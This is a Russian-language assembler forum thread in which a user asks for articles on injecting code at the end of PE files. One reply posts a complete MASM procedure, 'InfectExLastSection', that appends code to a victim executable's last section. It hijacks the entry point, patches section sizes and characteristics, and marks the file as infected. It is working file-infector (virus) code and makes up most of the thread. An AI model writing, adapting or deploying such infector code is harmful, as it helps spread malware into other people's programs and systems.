Дайте ссылочку на статьи вро внедрение кода в конец PE файла

Тема в разделе "WASM.ASSEMBLER", создана пользователем kalexi, 15 май 2009.

  1. kalexi

    kalexi New Member

    Публикаций:
    0
    Регистрация:
    11 сен 2007
    Сообщения:
    43
    сабж O_o
     
  2. GoldFinch

    GoldFinch New Member

    Публикаций:
    0
    Регистрация:
    29 мар 2008
    Сообщения:
    1.775
    на сайте поищи
     
  3. MSoft

    MSoft New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2006
    Сообщения:
    2.854
    wasm.ru
     
  4. JCronos

    JCronos New Member

    Публикаций:
    0
    Регистрация:
    5 апр 2009
    Сообщения:
    98
    Bill Prisoner - TPOC (VDK)
    Код (Text):
    1. ;===============================================================================;
    2. ;Процедура InfectExLastSection
    3. ;Описание:
    4. ;Заражение PE-файла с помощью расширения последней секции
    5. ;Вход:  hMap - жертва
    6. ;   hMap2 - код
    7. ;   File2Size - размер кода
    8. ;   Delta - дельта-смещение
    9. ;Выход: EAX = 1 если заразил, иначе EAX = 0
    10. ;===============================================================================;
    11. InfectExLastSection proc Name2:DWORD,hMap:DWORD,hMap2:DWORD,File2Size:DWORD,Delta:DWORD
    12. LOCAL   pPE:DWORD
    13. LOCAL   pSectionTable:DWORD
    14. LOCAL   pDataDirectory:DWORD
    15. LOCAL   pFileHeader:DWORD
    16. LOCAL   pOptionalHeader:DWORD
    17. LOCAL   SizeOfCode:DWORD
    18. LOCAL   AddressOfCode:DWORD
    19. LOCAL   pLastSection:DWORD
    20. LOCAL   hFile:DWORD
    21. LOCAL   UpdatedhMap:DWORD
    22. LOCAL   hMapping:DWORD
    23. LOCAL   FileSize:DWORD
    24.  
    25.     mov eax,File2Size
    26.     add eax,7
    27.     push eax
    28.  
    29.     push hMap
    30.     call GetFileAlignment
    31.     pop esi
    32.     mov edi,eax
    33.     GetAlignUp esi,edi
    34.     push eax
    35.  
    36.     push NULL
    37.     push FILE_ATTRIBUTE_NORMAL
    38.     push OPEN_EXISTING
    39.     push NULL
    40.     push FILE_SHARE_WRITE or FILE_SHARE_READ
    41.     push GENERIC_WRITE or GENERIC_READ
    42.     push Name2
    43.     mov edx,Delta
    44.     call dword ptr [edx+_CreateFileA]
    45.  
    46.     .if eax==-1
    47.         xor eax,eax
    48.         ret
    49.     .endif
    50.     mov hFile,eax
    51.  
    52.     push 0
    53.     push hFile
    54.     mov edx,Delta
    55.     call dword ptr [edx+_GetFileSize]
    56.    
    57.     push 0
    58.     push hFile
    59.     mov edx,Delta
    60.     call dword ptr [edx+_GetFileSize]
    61.     mov FileSize,eax
    62.    
    63.     pop esi
    64.     add esi,eax
    65. ;Получаем размер зараженного EXE-файла
    66.     push NULL
    67.     push esi
    68.     push NULL
    69.     push PAGE_READWRITE
    70.     push NULL
    71.     push hFile
    72.     mov edx,Delta
    73.     call dword ptr [edx+_CreateFileMappingA]
    74.     .if eax==0
    75.         xor eax,eax
    76.         ret
    77.     .endif
    78.     mov hMapping,eax
    79.     push 0
    80.     push 0
    81.     push 0
    82.     push FILE_MAP_ALL_ACCESS
    83.     push eax
    84.     mov edx,Delta
    85.     call dword ptr [edx+_MapViewOfFile]
    86.     .if eax==0
    87.         jmp cl2
    88.         ret
    89.     .endif
    90.     mov UpdatedhMap,eax
    91. ;Проверка правильности PE-файла и ошибок при проекции
    92.     push UpdatedhMap
    93.     pop hMap
    94.  
    95.     push hMap
    96.     call ValidPE
    97.     .IF eax==0
    98.         jmp cl2
    99.         ret
    100.     .ENDIF
    101. ;Получение адреса PE-заголовка
    102.     assume edi:ptr IMAGE_DOS_HEADER
    103.     mov edi,hMap
    104.     add edi,[edi].e_lfanew
    105.     mov pPE,edi
    106. ;Получение адреса файлового заголовка
    107.     add edi,4
    108.     mov pFileHeader,edi
    109. ;Получение адреса опционального заголовка
    110.     add edi,sizeof IMAGE_FILE_HEADER
    111.     mov pOptionalHeader,edi
    112. ;Получение адреса таблицы директорий
    113.     assume edi:ptr IMAGE_OPTIONAL_HEADER
    114.     lea edi,[edi].DataDirectory
    115.     mov pDataDirectory,edi
    116. ;Получение адреса таблицы секций
    117.     mov edi,pOptionalHeader
    118.     mov eax,[edi].NumberOfRvaAndSizes
    119.     mov edi,pDataDirectory
    120.     mov ecx,sizeof IMAGE_DATA_DIRECTORY
    121.     mul ecx
    122.     add edi,eax
    123.     mov pSectionTable,edi
    124. ;Не заражен ли уже файл?
    125. ;................................
    126. ;Находим последнюю секцию виртуально и физически
    127.     mov edi,pFileHeader
    128.     assume edi:ptr IMAGE_FILE_HEADER
    129.     xor ecx,ecx
    130.     mov cx,word ptr [edi].NumberOfSections
    131.     mov edi,pSectionTable
    132.     assume edi:ptr IMAGE_SECTION_HEADER
    133.     mov eax,[edi].PointerToRawData
    134.     push ebx
    135.     mov ebx,[edi].VirtualAddress
    136.     add edi,sizeof IMAGE_SECTION_HEADER
    137.     dec ecx
    138. NextSection:
    139.     .IF (eax<[edi].PointerToRawData)&&(ebx<[edi].VirtualAddress)
    140.         mov eax,[edi].PointerToRawData
    141.         mov ebx,[edi].VirtualAddress
    142.         mov pLastSection,edi;указатель на запись о последней секции
    143.     .ENDIF
    144.     add edi,sizeof IMAGE_SECTION_HEADER
    145. loop NextSection
    146.     pop ebx
    147. ;Не нулевая ли последняя секция?
    148.     mov edi,pLastSection
    149.     .IF [edi].SizeOfRawData==0;последняя секция нулевая
    150.         jmp cl2
    151.         ret
    152.     .ENDIF
    153. ;Запись в конец последней секции
    154.     mov ecx,File2Size;количество байт, которые надо записать
    155.     mov edi,pLastSection
    156.     mov eax,[edi].PointerToRawData
    157.     add eax,[edi].SizeOfRawData
    158.     add eax,hMap
    159.     mov edi,eax
    160.     mov esi,hMap2
    161.     rep movsb;записываем код
    162. ;Переход на старую точку входа
    163.     mov esi,pOptionalHeader
    164.     assume esi:ptr IMAGE_OPTIONAL_HEADER
    165.     mov eax,[esi].AddressOfEntryPoint;В EAX - старая точка входа
    166.     add eax,[esi].ImageBase
    167.     mov byte ptr [edi],0B8h;BF - опкод команды mov edi,XXXXXXX
    168.     inc edi
    169.     push eax
    170.     pop dword ptr [edi];Джампим к старой точке входа
    171.     add edi,4
    172.     mov word ptr [edi],0E0FFh;FFE0 - опкод команды jmp edi
    173. ;Правка AddressOfEntryPoint
    174.     mov edi,pLastSection
    175.     assume edi:ptr IMAGE_SECTION_HEADER
    176.     mov eax,[edi].VirtualAddress
    177.     add eax,[edi].SizeOfRawData
    178.     mov edi,pOptionalHeader
    179.     assume edi:ptr IMAGE_OPTIONAL_HEADER
    180.     lea edi,[edi].AddressOfEntryPoint
    181.     mov dword ptr [edi],eax
    182. ;Чего-то...
    183.     assume edi:ptr IMAGE_SECTION_HEADER
    184.     mov edi,pLastSection
    185.     mov eax,[edi].Misc.VirtualSize
    186.     mov ecx,File2Size
    187.     add ecx,7
    188.     add eax,ecx
    189.  
    190.     mov edi,pOptionalHeader
    191.     assume edi:ptr IMAGE_OPTIONAL_HEADER
    192.  
    193.     mov edi,[edi].SectionAlignment
    194.     mov esi,eax
    195.     GetAlignUp esi,edi
    196.  
    197.     mov edi,pLastSection
    198.     assume edi:ptr IMAGE_SECTION_HEADER
    199.     lea esi,[edi].Misc.VirtualSize
    200.     mov dword ptr [esi],eax;Правка VirtualSize
    201.  
    202.     mov esi,[edi].SizeOfRawData
    203.     add esi,ecx
    204.  
    205.     mov edi,pOptionalHeader
    206.     assume edi:ptr IMAGE_OPTIONAL_HEADER
    207.     mov edi,[edi].FileAlignment
    208.     GetAlignUp esi,edi
    209.     mov edi,pLastSection
    210.     assume edi:ptr IMAGE_SECTION_HEADER
    211.     lea edi,[edi].SizeOfRawData
    212.     mov dword ptr [edi],eax;Правка SizeOfRawData
    213.  
    214.     mov edi,pLastSection
    215.     assume edi:ptr IMAGE_SECTION_HEADER
    216.     lea esi,[edi].Misc.VirtualSize
    217.     mov dword ptr [esi],eax;Правка VirtualSize
    218.  
    219.     mov edi,pLastSection
    220.     mov [edi].Characteristics,0a0000020H;Правим характеристики
    221.  
    222.     mov esi,pOptionalHeader
    223.     assume esi:ptr IMAGE_OPTIONAL_HEADER
    224.     mov eax,[edi].Misc.VirtualSize
    225.     add eax,[edi].VirtualAddress
    226.  
    227.     lea edi,[esi].SizeOfImage;Правка ImageSize
    228.     mov dword ptr [edi],eax
    229. ;Пометить файл как зараженный
    230.     mov edi,pOptionalHeader
    231.     assume edi:PTR IMAGE_OPTIONAL_HEADER
    232.     lea edi,[edi].Win32VersionValue
    233.     mov DWORD PTR [edi],00BADF11Eh
    234. cl2:
    235.     mov edx,Delta
    236.     push hMapping
    237.     call dword ptr [edx+_CloseHandle]
    238.     mov edx,Delta
    239.     push hFile
    240.     call dword ptr [edx+_CloseHandle]
    241.     push UpdatedhMap
    242.     mov edx,Delta
    243.     call dword ptr [edx+_UnmapViewOfFile]
    244.     mov eax,1
    245.     ret
    246. InfectExLastSection endp
    247. ;===============================================================================;
     
  5. MSoft

    MSoft New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2006
    Сообщения:
    2.854
    ох уж эта цензура :)